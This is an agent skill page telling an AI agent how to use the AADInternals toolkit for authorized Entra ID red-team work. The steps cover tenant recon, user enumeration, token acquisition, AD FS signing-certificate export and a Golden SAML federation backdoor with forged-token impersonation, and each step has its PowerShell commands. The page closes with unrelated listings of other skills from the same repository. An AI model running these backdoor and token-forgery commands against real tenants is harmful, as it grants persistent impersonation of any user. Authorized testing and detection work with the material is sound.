AGENT SKILL

auditing-entra-id-with-aadinternals

Drive the AADInternals PowerShell toolkit to perform Microsoft Entra ID tenant reconnaissance, access-token acquisition across Microsoft APIs, and federation/AD FS backdoor testing (Golden SAML, T1606.002) for defensive validation. Use during an authorized Entra ID/Microsoft 365 red-team assessment to map external attack surface or verify AD FS signing certs resist Golden SAML.

License 许可
Apache-2.0
最近更新
2026-08-25
Stars
★ 0
Forks
0

01 前言 Front Matter

name
auditing-entra-id-with-aadinternals
tags
[ "aadinternals", "entra-id", "azure-ad", "saml-token-forgery", "federation-backdoor", "token-manipulation", "adfs", "red-team" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
nist_csf
[ "ID.AM-03" ]
subdomain
identity-access-management
description
Drive the AADInternals PowerShell toolkit to perform Microsoft Entra ID tenant reconnaissance, access-token acquisition across Microsoft APIs, and federation/AD FS backdoor testing (Golden SAML, T1606.002) for defensive validation. Use during an authorized Entra ID/Microsoft 365 red-team assessment to map external attack surface or verify AD FS signing certs resist Golden SAML.
mitre_attack
[ "T1606.002" ]

02 资源文件 4

03 SKILL.md 正文

Auditing Entra ID with AADInternals

Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.

Overview

AADInternals is the most comprehensive offensive/administrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios / Secureworks). It exposes hundreds of cmdlets (all prefixed AADInt) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS/PTA attacks, and the technique it is most famous for: federation backdoors that abuse the Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor path so an attacker who controls a federated domain's IssuerUri can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), the same class of technique used in the SolarWinds (Golden SAML) intrusions.

The toolkit separates capabilities by required position. Invoke-AADIntReconAsOutsider and Get-AADIntLoginInformation require no credentials — they query public endpoints (getuserrealm, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop/Seamless SSO is enabled. With a foothold, Get-AADIntAccessTokenFor* cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.

This skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation/AD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.

When to Use

  • During an authorized Entra ID / Microsoft 365 red-team or assumed-breach assessment
  • To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks
  • To validate that federation and AD FS token-signing certificates are protected against Golden SAML
  • To test token acquisition and replay across Microsoft first-party APIs
  • When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry

Prerequisites

  • Written authorization covering identity-attack and federation-backdoor testing
  • Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)
  • For backdoor/federation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE
  • Install the module from the PowerShell Gallery:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # Cross-platform AsOutsider-only reimplementation (no creds) is also available:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • Familiarity with SAML/WS-Federation, OAuth tokens, and Azure AD Connect

Objectives

  • Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type
  • Acquire and cache access tokens for Microsoft first-party APIs
  • Enumerate users/groups/roles with an authenticated token
  • Test the federation backdoor / Golden SAML path in a controlled, authorized manner
  • Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)

MITRE ATT&CK Mapping

ID Technique Application in this skill
T1606.002 Forge Web Credentials: SAML Tokens ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forge SAML tokens for arbitrary users via a controlled federation IssuerUri (Golden SAML)

Related techniques: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (token acquisition), T1556.007 Modify Authentication Process: Hybrid Identity (federation/PTA backdoors).

Workflow

Step 1: Unauthenticated outsider reconnaissance

No credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.

# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"

# Tenant GUID
Get-AADIntTenantID -Domain "target.com"

Step 2: External user enumeration (optional, noisy)

Validate whether usernames exist via the GetCredentialType / autologon endpoints.

# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

Step 3: Acquire and cache access tokens

With valid credentials (or an interactive prompt), obtain tokens for the API you need. -SaveToCache lets later cmdlets reuse the token automatically.

# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

Step 4: Authenticated directory enumeration

Using a cached/acquired token, read directory objects to map privilege.

# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails

# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

Step 5: Inspect federation / AD FS configuration

Determine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.

# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com

Step 6: Federation backdoor / Golden SAML (authorized only)

Convert a domain to a backdoor by setting a known IssuerUri, then forge a SAML token for a target user using that domain's ImmutableId. Only in a controlled tenant with explicit authorization.

# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.

# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml

Step 7: Document exposure and harden

Capture exactly what recon revealed, which tokens/APIs were reachable, and whether the backdoor/Golden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new/changed federation trusts, monitor Set-DomainAuthentication/Set-MsolDomainFederationSettings, and migrate where feasible to managed (cloud) authentication.

Tools and Resources

Resource Purpose Source
AADInternals Entra ID / AD FS attack & admin toolkit https://github.com/Gerenios/AADInternals
AADInternals docs Cmdlet reference and technique writeups https://aadinternals.com/aadinternals/
AADOutsider-py Cross-platform AsOutsider reimplementation https://github.com/synacktiv/AADOutsider-py
Golden SAML background Federation backdoor technique writeup https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002 Forge Web Credentials: SAML Tokens https://attack.mitre.org/techniques/T1606/002/

Cmdlet Quick Reference

Cmdlet Position Purpose
Invoke-AADIntReconAsOutsider None Verified domains, tenant ID, federation type, SSO
Get-AADIntLoginInformation None Realm/login details for a domain
Get-AADIntTenantID None Tenant GUID
Invoke-AADIntUserEnumerationAsOutsider None Validate user existence
Get-AADIntAccessTokenForAADGraph Creds Azure AD Graph token (-SaveToCache)
Get-AADIntAccessTokenForMSGraph Creds Microsoft Graph token
Get-AADIntAccessTokenForEXO Creds Exchange Online token
Get-AADIntUsers Token Enumerate directory users
ConvertTo-AADIntBackdoor Global Admin Convert a domain into a federation backdoor
New-AADIntSAMLToken Backdoor Forge a SAML token for a user (Golden SAML)
Open-AADIntOffice365Portal SAML token Open a portal session as the impersonated user

Validation Criteria

  • [ ] Outsider recon completed; verified domains, tenant ID, and federation type recorded
  • [ ] User enumeration tested (or documented as out of scope)
  • [ ] Access token acquired and cached for at least one Microsoft API
  • [ ] Authenticated directory enumeration performed (users/roles, synced accounts noted)
  • [ ] Federation / AD FS configuration assessed for token-signing key exposure
  • [ ] Backdoor / Golden SAML path tested in an authorized controlled tenant or documented as out of scope
  • [ ] Exposure documented with concrete impact
  • [ ] Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)

04 同仓库更多 Skills

vikasvardhanv
vikasvardhanv/jerry_skills

syllabus

Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.

★ 0
vikasvardhanv
vikasvardhanv/jerry_skills

pulse

Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X/Twitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend/sentiment/problems/opportunities/comparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.

★ 0
vikasvardhanv
vikasvardhanv/jerry_skills

patent

Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search / freedom-to-operate / competitive landscape / acquisition diligence / litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.

★ 0
vikasvardhanv
vikasvardhanv/jerry_skills

notebooklm

Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio/Video Overviews, Mind Maps, Reports incl. Briefing Doc/Study Guide/FAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.

★ 0
vikasvardhanv
vikasvardhanv/jerry_skills

litreview

Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER / Decomposition / hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5/10/20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed/OpenAlex (or Consensus) query.

★ 0
vikasvardhanv
vikasvardhanv/jerry_skills

grants

NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance/Innovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget/scope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.

★ 0